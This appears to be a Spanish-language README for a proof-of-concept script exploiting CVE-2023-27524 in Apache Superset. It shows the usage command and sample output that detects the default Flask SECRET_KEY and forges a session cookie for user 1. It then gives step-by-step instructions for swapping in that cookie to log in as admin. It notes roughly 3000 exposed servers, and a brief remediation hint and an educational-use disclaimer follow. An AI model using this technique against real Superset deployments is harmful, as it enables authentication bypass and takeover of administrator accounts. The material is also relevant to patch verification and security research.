
Un POC para el nuevo CVE-2023-27524, que permite omitir la autenticación y obtener acceso al panel de administración.
Script para comprobar si un servidor Apache Superset es vulnerable a (CVE-2023-27524) y, si lo es, forjar una cookie de sesión con el user_id = 1, que normalmente es el usuario admin, lo que permite omitir la autenticación y obtener acceso al dashboard. Actualmente, hay unos 3000 servidores en todo el mundo ejecutando Apache Superset.
usage: python3 CVE-2023-27524.py --url URL
% python3 CVE-2023-27524.py --url http://10.1.221.202:8080
Got session cookie: eyJjc3JmX3Rva2VuIjoiZDBiYWI5ZmU0YTRjOWFiM2ZkMjc2YjA2ZDZiNWE0MDZmZmNkN2JkOCIsImxvY2FsZSI6ImVuIn0.ZEc0tw.X6y_rTie0yMP5oTFC6KNq8Me9ek
Decoded session cookie: {'csrf_token': 'd0bab9fe4a4c9ab3fd276b06d6b5a406ffcd7bd8', 'locale': 'en'}
Superset Version: 2.0.1
Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'
Forged session cookie for user 1: eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZEc0tw.xmzJjq757QujOpk65jK0dLgCSDg
Now visit the url: `http://10.1.221.202:8080/superset/welcome` and replace the current session cookie with this `eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZEc0tw.xmzJjq757QujOpk65jK0dLgCSDg` and refresh the page and we will be logged in as admin to the dashboard
Siga las instrucciones aquí para generar y configurar una clave SECRET_KEY de Flask. La herramienta CLI superset se puede utilizar para rotar la SECRET_KEY de modo que se conserve la información de conexión existente de la base de datos.
Este POC se crea únicamente con fines educativos.